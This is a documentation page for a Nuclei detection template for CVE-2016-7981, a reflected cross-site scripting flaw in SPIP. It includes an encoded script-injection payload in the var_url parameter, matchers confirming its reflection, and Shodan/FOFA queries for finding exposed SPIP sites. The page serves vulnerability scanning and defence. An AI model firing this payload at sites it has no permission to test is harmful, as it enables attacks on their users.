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SPIP <3.1.2 - Cross-Site Scripting

ID: CVE-2016-7981

Severity: medium

Author: pikpikcu

Tags: cve2016,cve,xss,spip

Description

Section titled “Description”

SPIP 3.1.2 and earlier contains a cross-site scripting vulnerability in valider_xml.php which allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.

YAML Source

Section titled “YAML Source”
id: CVE-2016-7981


info:
  name: SPIP <3.1.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    SPIP 3.1.2 and earlier contains a cross-site scripting vulnerability in valider_xml.php which allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser.
  remediation: |
    Upgrade SPIP to version 3.1.2 or later to mitigate this vulnerability.
  reference:
    - https://core.spip.net/projects/spip/repository/revisions/23202
    - https://core.spip.net/projects/spip/repository/revisions/23201
    - https://core.spip.net/projects/spip/repository/revisions/23200
    - https://nvd.nist.gov/vuln/detail/CVE-2016-7981
    - http://www.openwall.com/lists/oss-security/2016/10/05/17
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-7981
    cwe-id: CWE-79
    epss-score: 0.00258
    epss-percentile: 0.6548
    cpe: cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: spip
    product: spip
    shodan-query:
      - http.html:"spip.php?page=backend"
      - cpe:"cpe:2.3:a:spip:spip"
    fofa-query: body="spip.php?page=backend"
  tags: cve2016,cve,xss,spip


http:
  - method: GET
    path:
      - "{{BaseURL}}/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c8a63da161a350e0ad7cbecb7b2527ec96ab59853391fd49d5a3a8c3c54cd25602203bf1ef971e953ca41fd1f19f69104f671794404f58bc7bcd27008384d362854f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-7981.yaml"

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